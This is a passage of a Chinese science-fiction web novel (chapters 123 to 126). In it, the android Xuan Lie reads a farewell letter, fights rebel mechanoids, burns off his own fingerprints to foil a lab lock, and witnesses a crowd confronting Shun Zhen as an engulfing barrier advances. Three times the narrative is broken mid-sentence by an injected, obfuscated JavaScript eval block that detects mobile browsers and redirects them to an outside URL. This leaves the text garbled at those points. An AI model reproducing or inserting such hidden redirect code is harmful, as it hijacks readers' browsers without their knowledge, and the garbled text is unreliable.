渐渐的,脚下也仿佛有了盈盈的推力,伏策轻轻松开手,玄烈便歪歪斜斜地悬停在天空。 怎么才高了这么几米就冷得这么厉害……玄烈裹紧了身上的衣服,逐渐在空中自在起来。 伏策如鱼得水地到处乱窜,微醺的他多了几分活泼劲。玄烈设想早些年的伏策是不是就像现在这样也爱闹腾。 他没像伏策一样享受天空,反而越高越不想动。他一点点上升再上升,直到舜氏大厦顶端灯光一点点削弱,直到不知是恐高还是低温令他脑袋发昏,直到他伸手触得到云层。 直到周围都安静了,玄烈才敢再一次打开那封信。 六月十六日,天气晴,无风。 实在燥热,今天是舜真给玄烈的最后一天假期。直到夜晚稍稍凉爽,玄烈才独自来到天台。 来之前,玄烈去到舜真办公室问了一个问题。他捱过这几天全靠的是这个问题,也犹豫了几天,才敢把问题问出口。 “阿烛是机器人吗?”玄烈问。 “是怎么办,不是又怎么办?”彼时舜真正忙着处理将永璃岛居民往岛外送的事宜,忙得她两天喝了三口水,头埋在文件堆离抬都抬不起来。 “如果是的话,是不是证明她也有……” 这时,舜真终于抬起了头。她抬头凝视玄烈的短短几秒,就又有十来个文件夹摞在她身边的“山”上。 “她没有智识芯片。玄烈,人类没有智识芯片。” 舜真只这样回答。 今夜无雾无霾,视野好到能直接看到市中心那曾爆发过巨大爆炸的地方。虽然被拆拆补补修了个遍,但还是能看出发生过灾难的样子。 玄烈不再害怕直视那里,可这并不代表他不难受了。 前晚玄烈做梦时再一次梦到纪凛烛叮嘱他要好好吃饭。 ——面对伤痛灾苦依然能吃得下饭填饱肚子的人,才能真正迈过这些苦难…… 谨记着纪凛烛曾说的“能吃是福”,即使玄烈什么都吃不下,他却还是跑到食堂去买了八碗粥和五屉包子。不过玄烈不是一开始就不自量力或者钱多得烧得荒才买那么多的。 他发现他能在某些特定的时候刻意自主调大某个感官的知觉,尤其在咀嚼食物的时候。 粮食香气和肉块菜团香料的混合香能极大程度塞满他的感知,这让他一时间顾不上想别的,自然也就忘记了某些事和某些人。 就这么吃着吃着,玄烈从中午吃到了晚上,然后慢悠悠带着即将炸掉的肚子来到天台。 今晚即将月圆,玄烈坐在地面静默无声仰头望月,比起夕阳,他现在倒更愿意赏赏月亮。 忽有一阵难以抵抗的反胃感袭来,玄烈喉咙发酸,他不自觉蜷起身体,“咣”的一声躺倒在地上。 他的胃难以负荷如此重担,“嗡嗡”机械运作声逐渐明显,为了维持他的身体正常运转,胃部及周围一些系统零部件转动得快要擦出火花来。 差一点就要吐出来了,玄烈死死捂住自己的嘴,因为纪凛烛同时也说了“不能浪费粮食”,他就这样缩着一动不敢动。 近似椭圆的月亮在玄烈眼里愈发扭曲,几乎变成了刺猬形状。心里一根绳子绷断了,锋利的绳面擦破了他心脏的四壁。 玄烈离天台悬崖边仅有一步之遥。 【保密定时&无署名来信】 玄烈,你好。 是我,别怕。 不知道什么时候会将这封信寄给你,更不知道是我亲笔手写连带信封送给你,还是通过联络信号将电子版送给你,总之我先写再说。 文字是冰冷的,其实如果可以,我更想亲口和你说这些。很多话我没有对别人说过,但我害怕到最后都没有人肯听,所以我在这里写给你看。 我一无所有独身一人远渡重洋来到这里,放下了过去所有的记忆、成绩和我本不存在的家,背井离乡,孤注一掷。我一直在想这到底值不值得,幸好我遇见了你,尽管这一切都是阴谋,是人为设计好的命中注定,可我还是很开心。 我十六岁就进到了大学,成长中也一直和同龄人岔开通行。他们难以和我亲近,比我更大些的孩子也时常觉得我是可怜愚钝不知世故的小孩。时至今日,我还是被裹挟着走的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214180|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我的青春好像总和别人不一样,即使是热气腾腾烈阳铺撒的夏天,也觉得身边异样寒冷。我为了别人口中所谓的“大义”留在这里,忘记了我的初心和本就脆弱的自己。 命运蛮横地在我面前立起一方带刺的防护壳,外面的刀枪还是能扎到我,唯有我怎么努力都跑不出去。渐渐的,我就把以前的事情都忘了。 珍惜和勇气不是我天然拥有的特性,习得它们并不容易。如果你想知道过程,那大概是在午夜枕头混杂泪水贴在脸上湿漉漉的潮气、沉闷郁钝走在灰土飞扬路上看见的那一抹青色夕阳、用尽全力也抓不住逐渐崩塌的幸福之中逐渐变成塑造我的一环。 一颗心被掰开揉碎踩在地上,又连带着灰尘和泥土将它捏合成又一个完整的心,我也吃了一些苦头。 直到某天我突然发现这些来得都还不够。我们渺小的力量其实是足以将生命长河掀起滔天巨浪的,只怕这浪不够高、不够漂亮、不够感动千万个和我们一样的人、不够惊天动地。 这时,我决定我要来永璃岛。 我有时候觉得咱们很像。你很聪明,懂得很多道理,但我还是总在你身边讲点虚无的东西,你也会有时候感到厌烦吗?其实那些大多是说给我自己听的。我越害怕,就会说越多,我讲得越多,就越害怕。 你知道的,从小到大没有人会给我说这些话,我又总觉得对着镜子给自己讲太矫情,所以就总是写在日记里,再揉成一个纸团,高高抛上屋顶……当然,这个方法不环保,我后来很少这样做了。 我不是坦荡的性格,更多时候因为一点点小阻碍就会打退堂鼓,我曾经的心理医生说我太过缺乏安全感,但我明白除了我自己,这安全感没人能替我补全。 我空无一物来到这个世界上,无论怎样迷茫困顿纠结挣扎,却终究难逃被操控的命运。可后来我懂得了,命运不是一两个字可以轻易写就的。 等到有一天我们真正拥有了一往无前坚不可摧的意念,那时我们就握紧了书写命运的笔。在这一刻到来之前,我闭口不谈命运的不公,只管尽我所能去拼命对抗。 身体上的痛我没办法帮你,但我知道心里的痛总该有很好的方法消解。起码我们试着万事向前看,以所有我走过的路为我的退路作借口,怀揣着试试无妨的心态去走每一步。 玄烈,下一次觉得难过痛苦的时候,不如笑起来,像我一样。 答应我,这一天过后,大踏步向前走。 玄烈,我很幸运认识你是春天,只希望不要在春天分别,这样下一场轻柔和润的春风迎向你的笑容时,你还能想起我。 玄烈,如果我们还能再见,无谓你是谁,我想听听你的故事。 你的幸福、你的晦暗,无需掩饰的你,不用逞强的你,你从什么人那里得到过梦幻般的照拂,又因为什么事情而惶恐不安,你是怎样走到这里,什么样的力量支撑你前行,你对未来的展望,你心里关于生命的意义……这些我全部都想听。 我想,直到这一天,我才能够算认识你,才能够真正与你同行。 124. 颠转开启(1) 静谧的上午,玄烈在曲折走廊中绕了好几圈都见不到几个人。 输液架的静音滚轮碾过地面发出针芒一般“嗞嗞”的声响,与头顶隐形出风口后细微嗡鸣的空调机相得益彰。 越往大楼外部走,窗户越多了起来。阳光炙烤大地,让路过的风也变成配合烈日耀武扬威的热浪,一阵阵吹得玄烈心浮气躁。 不一会,他听到大楼巨型半开放厅附近有不寻常的声音。 输液架是向繁森千万让他推着走的,上端悬挂着的营养剂袋子一荡一荡,薄荷色液体顺着管延伸到玄烈袖管中,至于是不是真的在输液,没人看得清楚。 向繁森知道现下舜氏人们对玄烈、对舜真都颇有不满,反抗只在一瞬间。而这个瞬间,恐怕就要从玄烈身上展开。 于是他让玄烈表面上示弱,或许人们在看到玄烈这副样子后能少一分埋怨。 大厅人满为患,如新一批实习生初来乍到那日一样。工作人员和机械体们挤在一起,他们无比谨慎地盯着面前硕大的屏幕,留给玄烈一大堆后脑勺。 那形如地震的声音正是从屏幕中发出来的。那是实况转播,转播的是永璃岛南边的景象。取景框放不下巨大的灰褐色建筑体,只留其一个角在画面右上角,直升机挂在半空打转,莹蓝色透明屏障若有似无地照在施工现场外圈。 玄烈没跟人们挤,他站在了大厅后围的矮阶上。 自韶赋修那个响指后,玄烈的眼睛正神奇地一天天在变好。 矮阶不高,放眼望去一半是屏幕画面一半是人头,但他站在这里稍作踮脚就也能看得清。 灰褐色建筑体还在一点点膨胀,估计用不了多久就能恢复到原本的魔方迷宫大小。迷宫底部是空的,随着镜头转移还能看得见内部在往下丢电子巨石。 所谓的电子巨石,玄烈看了半天也才看明白。那些均是长宽不小于一米的石头,灰色褐色什么颜色都有,形状也千奇百怪和普通石头没差。 但奇妙的是,那些石头全在砸到下方神庙建筑后化作一团乱码消散了,留下神庙一个又一个的坑和几近坍塌的屋顶墙壁,还有久久挥散不去的飞扬尘土。 让玄烈意外的是这回韶赋修竟没出动他那些顷刻间就能将大物件秒成灰的杀器。 破碎砖瓦和彩色玻璃在耀眼的日光下闪烁,原本墙上歪歪扭扭的艺术钟被砸成了碎末,巨型白色时间神石雕还留有一点翅膀的碎片,围在雕像眼睛上的红布条被石头灰土蹭成了暗红色,稀碎地散布在各处。 屏幕放大了地面的细节,人们几乎还能看到一些琉璃时韶花的碎片。 镜头在建筑崩塌声中摇晃,玄烈望着画面,一时不知这样的暴力砸毁和刹那间灰飞烟灭更加残忍。 他来得晚了,四周的小庙早被摧毁清理,夷为了平地。用不了多久,主庙的部分也砸到了效果,直升机开始全方位无死角对废墟喷洒暗红色粘稠液体,像是短时间内小范围下了场血雨。 待正片区域都覆上一层红色的纱,一颗火星坠落,废墟之上轰然炒起一滩水扑土掩难灭的大火。 起初镜头因离火太近而险些被伤,画面也一时间变得纷杂扭曲,等镜头撤远,人们才真正瞧出这是怎样一场磅礴的火。 火舌妖娆冲天,人们头一次看到刚强恢弘如金色巨龙的火焰。 很快,一座更加壮观的建筑从火种徐徐生长而起。平滑金属外表映出金红火影,规模比舜氏气派数倍。 建筑生长的同时,直升机齐齐向南飞去,消失在蓝色天际边缘,屏障有微弱松动,随着大厦升起而开始向北方蔓延。 仅一瞬,画面消失,再亮起的是涂云集团的广告。蓝天白云草地的景象前是扎眼的银色锋利大字。 ——进入颠转,送你一方真正的乌托邦。 玄烈没有一直盯着这行空洞的大字,而是将注意力放在起右下角一行灰色的小字上,很快,他觉得后背发冷,惊悚异常。 画面再次开始闪烁,依然是上帝一般的无人机视角。 蓝色颠转区域行进缓慢却拥有极强的压迫感,郊区市区的人们渺小如蚂蚁在街道边奔跑。 他们有的在朝北面舜氏方向逃跑,有的则闷头到处乱跑,更有很多人面对颠转停下了脚步,站在荒芜的残垣断壁和烟尘纷飞的十字路口,长久地望着即将到来的虚无。 应该恨的吧,炮火砸碎了他们的家园和梦想,可为什么面对无边痛意与怨恨却还是有那么多人停下脚步。 因为那行灰色小字。 ——进入颠转,所有你失去的爱人与希望,皆会归来。 画面中场景慌乱而无序,人们如临大敌在争相逃窜,但越靠近舜氏的区域,玄烈看到有越来越多的黑寂军在帮助疏散人群。 视角切动,转而移至一个靠近舜氏的开放港口。数不尽的人们堵在一起,一艘又一艘船驶向辽阔大海。 这堆人后方一白一黑两个人,是舜真和遥遥。 画面彻底消失了,屏幕黯淡下来,场上恢复死气沉沉的宁静。 突然,不知道是谁说了一句,“他在那。” 所有人齐齐回头看向玄烈。 千万双颜色各异的眼眸对准他,玄烈平静地注视着这些不友好的目光。 别人越是要像看怪物或罪人一样看着他,他就偏要将神般沉寂又圣洁的眼神用作回应。 “舜氏不需要你。” 人群后方,一个小个子男生站了出来。他额头上缠着绷带,不知是什么时候受的伤,看样子像是三代。 “你的存在只会给舜氏带来灾难!” 一个模样清秀的女孩走到那只三代体身边。她推了推眼镜,眸光清澈稚嫩,像是实习生。 装备枪械的声音响起,一个中年男人紧握着腰间的枪向前一步,半白的胡须微颤。 身材高挑身着战斗装身背长枪的女孩也站到前方,她头发也像玄烈一样为银白色,长到膝盖,扎成两条紧紧的麻花辫。 她没有眼睛,脸上戴有雾面智能镜,如果需要,这框镜就是她的眼,可以为她提供一切她希望看到的信息。大概为五代。 人们如松懈的沙漏一步步向前逼近,玄烈轻轻握着身边的输液架,岿然不动。 “如果我不存在,这一切都不会发生吗?” 玄烈音量不大,但自他开口的那一刻起,人们的逼近暂停了。 “你们认为是我挡住了你们拯救世界的路吗?如果我不存在,你们就能像现在一样团结吗?” 玄烈缓慢地说着。忽然,大楼内爆发起激烈的警报声响,一声又一声,回荡不息。 遥远的,市区那边也响彻警报声。永璃岛一时间被警报声所笼罩。 看似齐聚一心的人群有些动摇,一部分人们慌张地望着四周,紧迫不安,窃窃私语。 “还是你们之中大部分人根本早就被洗脑,选择背叛舜氏,成为他的同党。” 玄烈话毕,背着长枪的女孩一歪脑袋,率先甩出长枪就向玄烈“砰砰”发射两枚子弹。 玄烈则握紧输液架用力一甩挡在身前,缠在袖管内的输液管被拽出,小滴青绿色液体甩了一圈,砸在他周围的地板上。 一枚子弹击穿了营养剂的袋子,很快这些液体就和地面的水珠团聚,淌了一地,溅了一大片。 另一枚子弹则不偏不倚打中输液架的杆,顷刻间,输液架断成了两半。 可以确定的是,的确有人被韶赋修策反了。 子弹声音一落,人群里的机械体全都一窝蜂涌了上去。一些人类也努力想掺和一下,但被胡乱挥舞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232697|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀枪棍棒给逼退到大后方。 半个输液架还在玄烈手里,他前头刚用杆的尖端顶翻了一个小孩的胸膛,后手就一个扫堂棍将侧后方要偷袭他的一只机器人撩倒了。 果然还是得休息休息轻装上阵,这几天玄烈躺在床上还有点心痒,总想破坏点什么,好让他一身的力气和郁闷的心绪得以发泄。 虽然玄烈的伤还没完全好,可他还是觉得一身轻松神清气爽,这才终于有空认真体会一下七档的力量。 塑料一样的输液架很快被踩扁了,玄烈取出了库星锥。不再需要刻意从袖中拽出,而是只要他想,凭空便可以将库星或库星锥化形在手里。 方便多了。 不过,归根到底他面对的至少都还是些舜氏机械体里的精英,三两招下来难免有小磕小碰。毕竟舜氏潜心研究了这么多年,程炼做的也都是些个顶个的强将而不是玩具,如果打得太轻松也说不过去。 背后的伤是一大问题,每当他想探手给敌人痛快一击时,伤口总会被扯得一阵一阵疼。 刚想着,玄烈后背便被人猛踹了一脚,踹得他向前踉跄了几步,险些用库星锥捅穿一孩子的心口。 伤口处传来火辣辣的痛,玄烈转身就回了一剑。库星锥尖划破了后方那只机械体的衣服,玄烈紧接着又上去一脚,比对方踹他的力气增强了几倍。 “嘭——” 这一脚径直把人家踹飞到几十米后的柱子上去了。那只机械体干咳了几声,“咣”地倒在地上,昏死过去了。 见简单的进攻并不足以给玄烈造成威胁,那只机械体飞出的同时,玄烈周边一串带枪的机械体涌到他身边,形成了一个半包围圈。 不待玄烈反应就接连响起了枪响,一声接一声,爆裂声如雷贯耳连绵不绝,霎时间有几十颗子弹齐齐飞向他。 按道理韶赋修不该这么快想置玄烈于死地的,但如果不是他,那么能够以他之名行此事,或是权势地位不比他低多少的,还会有谁呢? 不会是琀珏,韶赋修不会给他那么多权限,他也不像是胆敢违背韶赋修意愿的人。 也不会是程炼,玄烈死了就意味着舜氏会彻底失去一大力量,除非他们先打开实验室取出芯片。 那么还有谁既希望除掉舜氏而又渴望削弱韶赋修的实力呢? 看着那些装配整齐规格统一的小型银色颗粒飞来,库星锥反手一转,被玄烈收进了袖管。 要他死,下辈子再说吧。 玄烈将右手挡在眼前,一如那日初次与炬衍一较高下,掌心翻转向外,一圈形如黑洞的漩涡悬浮于手掌之外,白灰墨色气旋搅弄成浪高速旋转。 刹那间,玄烈身边形成一湾如柔软胶墙一样的斥力场,让眨眼间便可击碎他头骨的数发子弹全部变成陷在沼泽的死物。 它们仍是朝着玄烈而去的,只是速度慢了几千倍不止。 藏在手背后的双眼紧闭,子弹带来的小型疾风到达玄烈额角时已不过留下一缕柔弱的清风,待这阵难以捉摸的风彻底经过,他嘴角一弯。 双眸睁开的那刻,手掌迅速翻转,奔腾漩涡被暴力截断,又以难以抗拒的力量逆时针开始翻转。 斥力场即刻迸发出毁天灭地的力量,风浪激起,子弹尽数被反弹回它们来的地方。 许多机械体尚不得反应,便被自己打出的子弹击中眉心、锁骨、腹部等地方。半包围圈被破除,地上当即倒了一大片机器人。 当日只有三档,勉强抵得过那一发子弹,而现如今玄烈七档力量傍身,自然是往日不可比拟的。 漩涡还在运作,玄烈轻描淡写伸手将其抓下,连一抹烟都不剩。 后方还有不要命地往上冲,玄烈紧攥拳头之时,一道冷厉的男声出现。 “把他绑了。” 125. 颠转开启(2) 程炼依旧不改他那身装扮,白色实验服被烫得极其平整,下面黑色西服裤永远配着擦得铮亮的皮鞋,胸前永远卡着写有他名字和职位的牌,脸上永远横着那道不和谐的疤。 他带来的人不是黑寂军,只是些普普通通的年轻人,看起来也是常年混实验室的,很可能连枪都不会用。 “把他绑了,带到实验室去。” 程炼重复了一遍他的命令。面对玄烈,几个年轻人犹犹豫豫有些不敢上前。 “今天离岛的名额不多了,你们多拖延一分钟,可能就坐不上船了。” 程炼的威胁非常到位,他话音一落,几个年轻人面面相觑,眼里均闪出怨愤的花火。 “你拿到复刻的碎片了?”玄烈冷冷地问。不光是他,他背后的人们也在纷纷低语,纳闷程炼的举动。 程炼轻笑一声,摊开左手,展示出几个精致的小物件。 除了那个难以分辨真假的叶子型第三碎片,第一第二碎片也在他手里。 玄烈一怔,“前两枚碎片怎么会在你手里?” “舜真给的。”程炼讽笑着回答。 舜真给的?为什么会给他?舜真已经这么信任程炼了吗? 不对,纵使这复刻的第三碎片可以以假乱真,可打开实验室还有至关重要一个密钥。 看程炼一副胸有成竹的样子,他也已经搞到了吗? “通关实验室还需要指纹,你也得到了?”玄烈接着问。 “这个问题……你去了就知道了。” 程炼抛下这句话,转身便往外走。几个年轻人从背后颤颤巍巍掏出刀和绳子,试探性地向玄烈靠近。 “不需要,我自己能走。” 玄烈浅浅看了几人一眼,大踏步跟上程炼的步伐,将一地狼藉抛在身后。 一行人无声走在路上,程炼昂首打头阵快步走,玄烈在他身后四五米的地方沉默地跟着,在后面便是那些年轻人,他们同样没有说话,但估计满心想的都是外面世界奔跑逃亡的场景,一个个心焦如焚。 假设程炼已经确认了玄烈的眼睛能打开那虹膜识别锁,可还有指纹等待着他们去尝试。 对了,指纹,玄烈现在手上是有指纹的! 他双手大拇指和食指悄悄摩挲着,互相探索其指尖浅浅的纹路。 这是纪凛烛的血引出的指纹,玄烈无比坚信这一点。 但至于究竟是不是纪凛烛的指纹玄烈还未曾试验过,当时舜真用那仪器测他指纹的时候那屏幕上分明显示的是无信息,是真是假? 可惜后来发生太多事了,导致他还没来得及仔细探究真相就被变幻莫测的现实逼迫到这里。 况且纪凛烛的身份到现在都还是个谜,林瑀如此看重她,舜真不能对玄烈讲的事也能够全部和她说。 玄烈没有把握,他害怕事实像他所想的那样。 但是程炼真的就要让玄烈去试吗?谁又能确保错误之后的电流会不会对他造成什么影响。 而且现在的时机,适合打开实验室取出那枚芯片吗? 没有人知道大楼里究竟有多少人被韶赋修策反了,何况那枚芯片尚未研发完全,玄烈也仅仅只达到了七档的实力,比当日的第一战备能力还要差一些。 如果此时的他再被病毒所控制呢? 玄烈突然明白了一点,假使现在打开了实验室,程炼也似乎并没有把芯片给他的意思。 他拿到芯片会怎样?不可能交给韶赋修,也不太可能交给舜真,他的真实目的无人知晓,那么如此……舜氏和永璃岛的危险便又多了一分。 所以,让玄烈去试指纹锁,即使触电也无妨。 程炼大概率将赌注放在了玄烈身上。他要孤注一掷。 不能这样。 一圈圈的指纹像是缠绕在玄烈脖颈的铁链锁,不算太紧,可太硬太重,缠得他有些走不动路。 鲜血吐尽了,留给他的只有这些指纹了。玄烈仍旧呆呆地摸着五指的指纹,脑海中不断回闪那封信,有点舍不得。 舍不得也没办法,他不能冒这个险。 去地下实验室的路四通八达,玄烈终于坐了一回电梯。 电梯门一展,熟悉的阴冷气扑面,玄烈跟着往出走之时,双手已续好了盈盈的灼气。 熟悉的门,熟悉的三个缺口和两框识别屏。程炼皮鞋的“咯吱”响终于停止,他转过身,玄烈便忽地双手狠狠合十,发出一道清脆声响。 “快!” 程炼手一挥,几个年轻人便扑了上来要扯开玄烈的手,而他的手已然变得火烫无比,让那些年轻人一碰就褪一层皮。 光顺着玄烈掌缝映出来,无形的焰把他手边的空气烫得扭曲,炽热的薄烟腾升,仿生皮肤炙烤粘连撕扯的声音微弱又刺耳。 线光映在玄烈眼眸中,映得他满眼都是吹不灭的火。 被汗水浸湿的发梢,因疼痛而皱起的眉头,咬死坚定的牙关,这些玄烈都无暇顾及,他只想到一万个“绝不能”。 火很快熄灭了,玄烈轻缓地将双手分离开,皮肤全部粘在一起,分开的样子实在不太好看。 不光是指尖,整个手掌几乎都被烧毁了,还算平整的地方焦了一大片,破口呈大小不一的点状分布,殷红的“肉”是带了点残余血的表皮下组织,依稀可见线路的存在。 指纹消失了,就算留下幸存的一点点也不足以应对指纹锁的识别,玄烈暂时安全了。 看着满手没有一块好的地方,他的嘴角泛起一丝淡淡的、略带愁苦的笑。 程炼二话不说上前一把揪住玄烈的衣领,将其摔到那扇识别屏前。 玄烈“嗵”的一声跪在地上,他垂着头,没有挣扎,垂落的几缕银发遮住了他的眼睛。程炼愤而抓着他的头发,手狠狠往后扯着,直到把玄烈的脸扯起来,扯到他放空的眼睛得已对准那方识别屏。 微弱扫描光线掠过,识别屏在“咔”声后缓缓撤开,露出琥珀色屏障后扭曲的内部布置。 像一扇小窗,彻底撬开了在场众人的热情和欲望。这下也顾不得程炼和玄烈了,年轻人们争先恐后拥上去趴在那窗口往里看,越看越红了眼。 一个年轻人刚面红耳赤地挤到窗口前,就被另一个稍壮些的年轻人挤跑了,她气不过,拔出匕首便用力捅进了那壮汉的心口。 血液喷溅,其他几个年轻人均吓了一跳,皆仇视着拿出自己的家伙什。 程炼没有阻止他们的内讧,直至这个率先持刀的女孩将所有人全部杀净,他才大发慈悲一般将手里的碎片全放到女生手里。 “把它们都安上去。” 女孩颤抖着接过这些葬着无数人性命的碎片,转身谨慎地将其全部严丝合缝地安装在凹槽上。 第三枚碎片伪造得真的很好,好到玄烈这么近距离都很难看出其和真实的第三碎片有何不同。 碎片安装完毕后并没有新的窗口出现,凹槽也毫无反应,安装真假碎片完全没区别,就只剩下指纹识别锁。 方才年轻人挤上来之时玄烈被推到了人群后方,他没站起来,被推到哪就原地安稳地坐着,等待程炼面对最后的锁束手无策气急败坏。 但他没有。 程炼仍镇定地站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13243653|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他微微转头俯视望向玄烈,连个正眼都没有,“你以为你自残了我就没有办法吗?” 说着,他从衣兜中掏出一枚边长五厘米左右的透明方形片,材质像是塑料。灯光太暗了,玄烈努力去辨认那纸片上画着的图案,一圈一圈的,像是…… 指纹! 如同平白有人开了一枪,玄烈即刻感到如冰水浇头,刺骨寒凉。 “第一次拥有指纹,不懂也正常,”程炼语气极具嘲讽意味,“没有指纹的人也很难意识到,指纹,是会留下痕迹的吧。” 该死,居然把这一点给忘了。 尽管玄烈脸上还是一副平淡如水的表情,可心里已经掀起了波澜。 要找他的指纹可太容易了,休眠舱、喝完的营养剂瓶子、桌子椅子……以及他所有触摸过的地方,只要肯找,就势必有他的指纹。 何况当日舜真直接拿仪器验过,一定留下了痕迹。 程炼将贴着指纹的小薄片丢给那女孩,“裹在你食指上就好,试试吧。” 女孩惶恐地接下来,又野心勃勃地照做。薄片是软的,缠在女孩指尖上后立马就消失了,而女孩的指纹也发生了变化,魔术一般,大概冲冲水就能洗掉了吧。 不知怎的,玄烈看着看着就出了神,莫名将女孩的脸换成了纪凛烛的脸。看她满头大汗,怀着对更远大志向的憧憬,恐惧却又迫不及待地靠近那扇充满诱惑的方窗。 她的年纪和纪凛烛差不多大,玄烈貌似见过她,好像是同一日于纪凛烛进入舜氏的实习生。 玄烈神思游乱的间歇,一道凄厉的尖叫与猛烈的电流爆炸声所汇集,立刻唤醒了玄烈沉睡的思想。 扎眼的白色光束在余光里骤然爆发,他不由得被吓一跳,只见那女孩直挺挺仰面倒下。 再眨眼,一个上一秒还活生生的人,碎了。 甚至碎了一地,碎到辨不清个人形,碎到分不清哪里是头哪里是身子,碎成满地渣。 要是玄烈去试的话,纵使侥幸能因他机械体特有的高强度金属外壳保个全尸,也恐怕只剩这么个空壳了。 玄烈尚未来得及看到程炼脸上的表情,就听到几阵怪异的声响。 是方窗。 虹膜识别的时间已过,识别屏开始复原。但不同的是,前两枚碎片安装口不见了! 那些怪响正是这里发出的,凹槽正在如毒沼粘液一般迅速将那两枚碎片吞噬,不等程炼冲上前将其抠下来,两个凹槽便将碎片淹没了,进而形成了两片平滑坚硬的铁板。 而虚假的第三碎片,也在超强电流中灰飞烟灭,连点渣子也不留下。 玄烈现在看清程炼脸上写满了怒到极点的悲愤。 他刚要站起身,程炼再次揪住他的衣领,“怎么回事!” 玄烈则淡定地握住程炼的手,脸色漠然地将他的手搬开。 好像是不一样。 站在程炼面前,玄烈恍惚发现有哪里变了,像是他长高了。从前他总是微仰着头看程炼,现如今竟然也能够冷静地平视着他,多增添了些许气势。 “哔哔……程总、程总……” 程炼耳边的对讲系统忽地响起急迫的机械呼叫音。 “紧急状况、紧急状况!颠转……颠转逼近……请立刻前往A号港口,请立即前往A号港口!” 颠转逼近了,这么快?! 玄烈正想着,程炼来不及回应玄烈那镇定而又飘渺、在他看来像是在挑衅的眼神,转而快步向楼上走去。 恐怕又要迎敌了。玄烈沉了沉心,回望一眼实验室门前凄惨的场面,向战场奔去。 126. 颠转开启(3) 玄烈的脚步声在楼宇间吭吭作响,他感受得到自己那份愈加激烈的急促心绪,但他无暇顾及。 就像与那面连接异世界的屏障有说不清道不明的共鸣,玄烈几乎也听得到它前进的脚步声。 越到楼的边缘,人们的嘈杂声就越强烈,而且这声音还在越发增高,与另一层莫名设备发出的声响一起,将噪音烘托到玄烈不自觉想捂紧耳朵的地步。 大厅已经没有人了,大多数人跟着程炼等人跑了出去,在舜氏外部一侧港口边互相对峙。 那里站满了人,更多是百姓,驮着大包小包,穿实验服或工作服的很少。 玄烈前脚刚从修缮精致的大理石地面踏上沙地,就看到数不尽的人头海浪一般挤在港口处起起伏伏。 他们说什么玄烈听不清,这里阳光浓烈,搞不懂这些人怎么在这里待下去的,玄烈光是被晒了一下就脑袋发昏。 没法拨开层层人潮,玄烈不得不爬上楼边几辆报废的装甲车上,那是之前战争中损毁的,人们没空修整或处理,它们就这么被晾在这。 装甲车铁皮被晒得更是如烤肉的铁板,玄烈尽量避免直接与其产生身体接触,能踩的地方绝不抓着用手爬。 人海之上,玄烈见到另一边的舜真和遥遥,还有她们背后寥寥几个舜氏的工作人员。在他们的身边,几百架舜氏老老少少机械体同样相对着,势如水火。 这边人的数量要比舜真那边多出几倍不止,为首的是一个西装笔挺的男人。 玄烈曾在调查减菲和死掉的小少爷的资料中看到过这人,也是政府的人。 远处,蓝色屏障已立在市中心。玄烈静默地望着,完全看不出屏障移动的痕迹,但他知道,它还在往前走。 为首的男人清清嗓,看他的表情,不像是自己揽的这么个发言人的角色,更像是被推出来的。半分惶恐、半分不知所措,和一派凛然正气。 他刚要伸手指着舜真,却觉得这样不太体面,有失他高高在上的身份,便又收回了手。很快,永璃政府军队端枪赶来,男人见有靠山来了,便正式开始向舜真喊话。 “舜总!在您对录音和视频的事做出解释之前,永璃百姓拒不登舜氏的船!” 录音?视频?玄烈听得断断续续的,并不知道他错过了什么。 舜真还没说话,遥遥先着急了,“不上船就全都完蛋!我们公司好心好意出钱出力想把你们送到安全的地方逃开韶赋修的统治!你们倒先挑上了!” “不走是死!谁知道跟你们走了是不是也是死路一条!”人堆中,一个年轻人喊道。 “舜氏什么时候害过你们!两段真假不明的所谓的证据就蒙住你们的眼睛了,你们能不能动动脑子想一想!这是韶赋修的阴谋啊!” 遥遥喊得面红耳赤,小小一只身体所爆发的声音硬是盖过了人群前方打头阵的几排年轻人。 “既然你们要保护永璃岛,为什么不出兵和恶人对抗!为什么他们炸岛的时候你们不出兵!为什么要和潼霜私联!我看你们分明就是已经把永璃岛卖了!” 人们的讨伐声不止不休。男人见他们这边得了势,更是大喊了一句,让遥遥也说不出话来。 他说:“我看现在的舜真分明就是假的!真的舜真已经死了!那段视频就是她最后的求救!” 男人话音刚落,一阵刺耳的音响啸叫声便扎得玄烈一时耳聋,随之,一段磕磕绊绊掺杂着电流声的录音在楼中回荡,比炮火声还要嘹亮得多。 先是好长一段呲呲嚓嚓的不明声音,而后便远远地响起了两个女人交谈的声音。 四周一下子安静下来,玄烈转头望,屏障像是一瞬间又近了好几步。 